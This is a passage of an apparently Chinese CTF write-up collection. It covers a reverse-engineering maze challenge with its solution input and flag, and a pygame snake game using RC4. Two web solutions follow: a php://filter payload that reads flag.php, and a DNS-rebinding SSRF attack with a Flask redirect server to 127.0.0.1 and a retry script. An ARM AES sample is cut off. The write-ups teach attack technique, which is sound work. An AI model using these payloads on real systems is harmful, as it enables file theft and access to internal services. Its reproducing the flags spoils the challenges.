	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[30];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[30];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[25];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[25];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[25];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[20];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[20];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[15];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[15];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[10];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[10];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[13];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[13];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[8];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[8];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[22];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[22];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[30];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[30];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[7];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[7];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[21];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[21];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[28];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[28];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[28];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[17];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[17];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[8];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[8];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[15];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[15];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[22];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[22];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[29];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[29];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[29];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[7];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[7];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[20];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[20];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[17];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[17];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[30];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[30];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[37];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 53;
	ptr = &_[38];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 228;
	ptr = &_[39];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 5;
	ptr = &_[40];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 158;
	ptr = &_[41];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 73;
	ptr = &_[42];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 123;
	ptr = &_[31];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[37];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[31];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[32];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[38];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[32];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[33];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[39];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[33];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[34];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[40];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[34];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[35];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[41];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[35];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[36];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[42];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[36];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[43];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 48;
	ptr = &_[37];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[37];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[38];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[38];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[39];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[39];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[40];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[40];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[41];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[41];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[42];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[42];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[44];
	*ptr = getchar();
	ptr = &_[45];
	*ptr = getchar();
	ptr = &_[46];
	*ptr = getchar();
	ptr = &_[47];
	*ptr = getchar();
	ptr = &_[48];
	*ptr = getchar();
	ptr = &_[49];
	*ptr = getchar();
	ptr = &_[50];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 101;
	ptr = &_[51];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 95;
	ptr = &_[52];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 67;
	ptr = &_[53];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 48;
	ptr = &_[54];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 100;
	ptr = &_[55];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 51;
	ptr = &_[44];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[50];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[44];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[44];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[45];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[51];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[45];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[45];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[46];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[52];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[46];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[46];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[47];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[53];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[47];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[47];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[48];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[54];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[48];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[48];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[49];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[55];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[49];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[49];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[50];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[50];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[51];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[51];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[52];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[52];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[53];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[53];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[54];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[54];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[55];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[55];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[43];
	putchar(*ptr);
}

pypy

题目考察选手对于算法的逆向分析能力

题解 题目实际上要解的是一个迷宫，wasd分别对应上下左右 有三层关卡，通过了三层关卡之后才能够拿到最后正确信息

最后的输入内容是

sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss

flag{snake_bao_is_really_lucky}

exp.py

import random
import codecs
import sys
import time
import pygame
from pygame.locals import *
from collections import deque
​
SCREEN_WIDTH = 600
SCREEN_HEIGHT = 480
SIZE = 20
LINE_WIDTH = 1
flag = "flag{snake_bao_is_really_lucky}"
​
SCOPE_X = (0, SCREEN_WIDTH // SIZE - 1)
SCOPE_Y = (2, SCREEN_HEIGHT // SIZE - 1)
​
FOOD_STYLE_LIST = [(10, (255, 100, 100)), (20, (100, 255, 100)), (30, (100, 100, 255))]
​
LIGHT = (100, 100, 100)
DARK = (200, 200, 200)
BLACK = (0, 0, 0)
RED = (200, 30, 30)
BGCOLOR = (40, 40, 60)
​
​
def print_text(screen, font, x, y, text, fcolor=(255, 255, 255)):
   imgText = font.render(text, True, fcolor)
   screen.blit(imgText, (x, y))
​
​
def init_snake():
   snake = deque()
   snake.append((2, SCOPE_Y[0]))
   snake.append((1, SCOPE_Y[0]))
   snake.append((0, SCOPE_Y[0]))
   return snake
​
​
def create_food(snake):
   food_x = random.randint(SCOPE_X[0], SCOPE_X[1])
   food_y = random.randint(SCOPE_Y[0], SCOPE_Y[1])
   while (food_x, food_y) in snake:
       food_x = random.randint(SCOPE_X[0], SCOPE_X[1])
       food_y = random.randint(SCOPE_Y[0], SCOPE_Y[1])
   return food_x, food_y
​
​
def get_food_style():
   return FOOD_STYLE_LIST[random.randint(0, 2)]
​
DEFAULT_KEY = "\x59\xf3\x02\xc3\x25\x9a\x82\x30\x0b\xbb\x25\x7f\x7e\x3b\xd2\xdc"
​
def rc4(data, key=DEFAULT_KEY, skip=1024):
   x = 0
   box = bytearray([i for i in range(256)])
   x = 0
   for i in range(256):
       x = (x + box[i] + ord(key[i % len(key)])) % 256
       tmp = box[i]
       tmp2 = box[x]
       box[i] = box[x]
       box[x] = tmp
   x = 0
   y = 0
   out = []
   if skip > 0:
       for i in range(skip):
           x = (x + 1) % 256
           y = (y + box[x]) % 256
           box[x], box[y] = box[y], box[x]
   for char in data:
       x = (x + 1) % 256
       y = (y + box[x]) % 256
       box[x], box[y] = box[y], box[x]
       k = box[(box[x] + box[y]) % 256]
       out.append(chr(ord(char) ^ k))
   return ''.join(out)
​
def func(t):
   data = rc4(t)
   if data.encode("utf-8").hex() == "275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0":
       return "YOU WIN"
   else:
       return "YOU LOSE"
​
​
​
​
def main():
   pygame.init()
   screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
   pygame.display.set_caption('贪吃蛇')
​
   font1 = pygame.font.SysFont('SimHei', 24)
   font2 = pygame.font.Font(None, 72)
   fwidth, fheight = font2.size('GAME OVER')
​
   b = True
​
   snake = init_snake()
   food = create_food(snake)
   food_style = get_food_style()
   pos = (1, 0)
​
   game_over = True
   start = False
   score = 0
   orispeed = 0.5
   speed = orispeed
   last_move_time = None
   pause = False
​
   while True:
       for event in pygame.event.get():
           if event.type == QUIT:
               sys.exit()
           elif event.type == KEYDOWN:
               if event.key == K_RETURN:
                   if game_over:
                       start = True
                       game_over = False
                       b = True
                       snake = init_snake()
                       food = create_food(snake)
                       food_style = get_food_style()
                       pos = (1, 0)
                       score = 0
                       last_move_time = time.time()
               elif event.key == K_SPACE:
                   if not game_over:
                       pause = not pause
               elif event.key in (K_w, K_UP):
                   if b and not pos[1]:
                       pos = (0, -1)
                       b = False
               elif event.key in (K_s, K_DOWN):
                   if b and not pos[1]:
                       pos = (0, 1)
                       b = False
               elif event.key in (K_a, K_LEFT):
                   if b and not pos[0]:
                       pos = (-1, 0)
                       b = False
               elif event.key in (K_d, K_RIGHT):
                   if b and not pos[0]:
                       pos = (1, 0)
                       b = False
​
       screen.fill(BGCOLOR)
       for x in range(SIZE, SCREEN_WIDTH, SIZE):
           pygame.draw.line(screen, BLACK, (x, SCOPE_Y[0] * SIZE), (x, SCREEN_HEIGHT), LINE_WIDTH)
       for y in range(SCOPE_Y[0] * SIZE, SCREEN_HEIGHT, SIZE):
           pygame.draw.line(screen, BLACK, (0, y), (SCREEN_WIDTH, y), LINE_WIDTH)
​
       if not game_over:
           curTime = time.time()
           if curTime - last_move_time > speed:
               if not pause:
                   b = True
                   last_move_time = curTime
                   next_s = (snake[0][0] + pos[0], snake[0][1] + pos[1])
                   if next_s == food:
                       snake.appendleft(next_s)
                       score += food_style[0]
                       speed = orispeed - 0.03 * (score // 100)
                       food = create_food(snake)
                       food_style = get_food_style()
                   else:
                       if SCOPE_X[0] <= next_s[0] <= SCOPE_X[1] and SCOPE_Y[0] <= next_s[1] <= SCOPE_Y[1] \
                               and next_s not in snake:
                           snake.appendleft(next_s)
                           snake.pop()
                       else:
                           game_over = True
​
       if not game_over:
           pygame.draw.rect(screen, food_style[1], (food[0] * SIZE, food[1] * SIZE, SIZE, SIZE), 0)
​
       for s in snake:
           pygame.draw.rect(screen, DARK, (s[0] * SIZE + LINE_WIDTH, s[1] * SIZE + LINE_WIDTH,
                                           SIZE - LINE_WIDTH * 2, SIZE - LINE_WIDTH * 2), 0)
​
       print_text(screen, font1, 30, 7, f'speed: {score//100}')
       print_text(screen, font1, 450, 7, f'score: {score}')
​
       if score >= 10:
           text = flag
           print_text(screen, font2, (SCREEN_WIDTH - fwidth) // 2, (SCREEN_HEIGHT - fheight) // 2, func(text), RED)
​
       if game_over:
           if start:
               print_text(screen, font2, (SCREEN_WIDTH - fwidth) // 2, (SCREEN_HEIGHT - fheight) // 2, 'GAME OVER', RED)
​
       pygame.display.update()
​
​
if __name__ == '__main__':
   main()
​

web

babyphp

首先根据提示去Google源码，这个其实是很多人用的内网扫描php的小代码。 发现这个代码还有当代理访问网页的功能，但是css获取的时候判断不严格可以造成任意文件读取。此处读取flag.php。

将同文件夹中的1.html部署在网上之后，直接带链接访问可以得到flag。

1.html

<link href="php://filter/read=convert.base64-encode|write=http://1.css/resource=flag.php">

cloudstorage

这个题需要根据题⽬暴露给选⼿的ip和端⼝来做题 ⽐如我现在题⽬ip是101.x.x.x 端⼝是12311

上传⽂件则返回下载地址 访问则可以下载

根据源码，有一个/admin的路由，能看到我们上传过的所有的文件

可以点击，点击则调用doPost函数post给/admin

点击之后，则可以在页面显示出这个文件的源码

其实这只是一个request去访问 然后打印出访问的结果罢了

这里用了check()对传过去的url进行了检测，看下这个check函数的源码 是不能被绕过的

const checkip = 1 function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');

    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ipapi.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false
    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;
    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false
    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false
    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if(ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

本题考点在于DNS Rebinding，注意到这：

check() -> sleep 5 -> request.get 在check()内 如果是域名会进行dns解析： dns = dnslookup(host) 这个解析调用了公网上ip-api.com的dns解析api 然后request.get时访问域名时，自己会先解析dns一次，并且这中间有5秒延迟 所以我们可以利用这个时间差做重绑，首先吧dns解析到题目是101.x.x.x的地址则可以过check() 然后5秒后 题目去访问这个url再解析一次， 这时候dns服务器讲A记录改为别的地址 则可以访问到别的地址

题目是需要访问/flag来获得flag

node监听了80端口，这意味着我们并不能dns Rebinding访问，因为地址问题解决了可是端口问题还是过不去：

所以我们需要dns rebinding让request.get()去访问我们的vps 然后vps上做重定向 request会跟随这个重定向，重定向到127.0.0.1/flag即可

在自己服务器上起一个web服务，访问则通过header重定向到http://127.0.0.1/flag

from flask import Flask
app = Flask(__name__)
@app.route('/', methods=["GET","POST"])
def bb():
    return "login fail", 301, [("Location", "http://127.0.0.1/flag")]
app.run("0.0.0.0", port=40001)

关于dns rebinding有很多现成的平台，也可以自己搭建，推荐使用https://requestrepo.com/ 使用很简单且完全免费

我的服务器是47.x.x.x 现在我准备了一个域名，并且让他随机解析成题目的101.x.x.x或者我自己的47.x.x.x 然后提交 http://dns-rebinding-domin.com:40001 到/admin路由（因为我起的用来重定向的web服务是40001端口的） 因为dns解析存在缓存、延迟等问题，可能需要多提交几次才可以成功，写脚本循环

import requests as req
s = req.session()
url = "http://101.x.x.x:12311/admin"
data = {
    "fileurl" : "http://dns.rebinding.com:40001/"
}
while True:
    print(s.post(url=url, data=data).text)

如果dns直接返回的是vps的地址则过不去check 回显是invalid。如果全部解析到题目的地址，题目因为没有40001端口那么会返回超时的错误信息。一旦成功，则可以拿到flag

RealWorld

此类题框架上大同小异, 均要求选手提交 binary, 服务器运行后检查输出. 如果在规定时间内运行结束且输出符合要求, 即可拿到 flag.

aes

本题出题意图上是让选手考虑鲲鹏 920 CPU 上的 AES 指令集, 利用此指令扩展从而写出高性能的代码. 一个简单的示例代码见aes.c

aes.c

#if defined(__arm__) || defined(__aarch32__) || defined(__arm64__) || defined(__aarch64__) || defined(_M_ARM)
# if defined(__GNUC__)
# include <stdint.h>
# endif
# if defined(__ARM_NEON) || defined(_MSC_VER)
# include <arm_neon.h>
# endif
/* GCC and LLVM Clang, but not Apple Clang */
# if defined(__GNUC__) && !defined(__apple_build_version__)
# if defined(__ARM_ACLE) || defined(__ARM_FEATURE_CRYPTO)
#   include <arm_acle.h>
# endif
# endif
#endif  /* ARM Headers */
​
void aes_process_arm(const uint8_t key[], const uint8_t subkeys[], uint32_t rounds,
                    const uint8_t input[], uint8_t output[], uint32_t length)
{
while (length >= 16)
{
uint8x16_t block = vld1q_u8(input);
​
// AES single round encryption
block = vaeseq_u8(block, vld1q_u8(key));
// AES mix columns
block = vaesmcq_u8(block);
​
// AES single round encryption
block = vaeseq_u8(block, vld1q_u8(subkeys));
// AES mix columns
block = vaesmcq_u8(block);
​
for (unsigned int i=1; i<rounds-2; ++i)
{
// AES single round encryption
block = vaeseq_u8(block, vld1q_u8(subkeys+i*16));
// AES mix columns
block = vaesmcq_u8(block);
}
​
// AES single round encryption
block = vaeseq_u8(block, vld1q_u8(subkeys+(rounds-2)*16));
// Final Add (bitwise Xor)
block = veorq_u8(block, vld1q_u8(subkeys+(rounds-1)*16));
​
vst1q_u8(output, block);
​
input += 16; output += 16;
length -= 16;
}
}
​
#if defined(TEST_MAIN)
​
#include <stdio.h>
#include <string.h>
​
int main(int argc, char* argv[])
{
/* FIPS 197, Appendix B input */
const uint8_t input[16] = { /* user input, unaligned buffer */
0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d, 0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34
};
​
/* FIPS 197, Appendix B key */
const uint8_t key[16] = { /* user input, unaligned buffer */
0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x9 , 0xcf, 0x4f, 0x3c
};
​
/* FIPS 197, Appendix B expanded subkeys */
__attribute__((aligned(4)))
const uint8_t subkeys[10][16] = { /* library controlled, aligned buffer */
{0xA0, 0xFA, 0xFE, 0x17, 0x88, 0x54, 0x2c, 0xb1, 0x23, 0xa3, 0x39, 0x39, 0x2a, 0x6c, 0x76, 0x05},
{0xF2, 0xC2, 0x95, 0xF2, 0x7a, 0x96, 0xb9, 0x43, 0x59, 0x35, 0x80, 0x7a, 0x73, 0x59, 0xf6, 0x7f},
{0x3D, 0x80, 0x47, 0x7D, 0x47, 0x16, 0xFE, 0x3E, 0x1E, 0x23, 0x7E, 0x44, 0x6D, 0x7A, 0x88, 0x3B},
{0xEF, 0x44, 0xA5, 0x41, 0xA8, 0x52, 0x5B, 0x7F, 0xB6, 0x71, 0x25, 0x3B, 0xDB, 0x0B, 0xAD, 0x00},
{0xD4, 0xD1, 0xC6, 0xF8, 0x7C, 0x83, 0x9D, 0x87, 0xCA, 0xF2, 0xB8, 0xBC, 0x11, 0xF9, 0x15, 0xBC},
{0x6D, 0x88, 0xA3, 0x7A, 0x11, 0x0B, 0x3E, 0xFD, 0xDB, 0xF9, 0x86, 0x41, 0xCA, 0x00, 0x93, 0xFD},
{0x4E, 0x54, 0xF7, 0x0E, 0x5F, 0x5F, 0xC9, 0xF3, 0x84, 0xA6, 0x4F, 0xB2, 0x4E, 0xA6, 0xDC, 0x4F},
{0xEA, 0xD2, 0x73, 0x21, 0xB5, 0x8D, 0xBA, 0xD2, 0x31, 0x2B, 0xF5, 0x60, 0x7F, 0x8D, 0x29, 0x2F},
{0xAC, 0x77, 0x66, 0xF3, 0x19, 0xFA, 0xDC, 0x21, 0x28, 0xD1, 0x29, 0x41, 0x57, 0x5c, 0x00, 0x6E},
{0xD0, 0x14, 0xF9, 0xA8, 0xC9, 0xEE, 0x25, 0x89, 0xE1, 0x3F, 0x0c, 0xC8, 0xB6, 0x63, 0x0C, 0xA6}
};
​
/* Result */
uint8_t result[19] = { 0 };
​
aes_process_arm((const uint8_t*)key, (const uint8_t*)subkeys, 10, input, result+3, 16);
​
printf("Input: ");
for (unsigned int i=0; i<16; ++i)
printf("%02X ", input[i]);
printf("\n");
​
printf("Key: ");
for (unsigned int i=0; i<16; ++i)
printf("%02X ", key[i]);
printf("\n");
​
printf("Output: ");
for (unsigned int i=3; i<19; ++i)
printf("%02X ", result[i]);
printf("\n");
​
/* FIPS 197, Appendix B output */
const uint8_t exp[16] = {
0x39, 0x25, 0x84, 0x1D, 0x02, 0xDC, 0x09, 0xFB, 0xDC, 0x11, 0x85, 0x97, 0x19, 0x6A, 0x0B, 0x32
};
​
if (0 == memcmp(result+3, exp, 16))
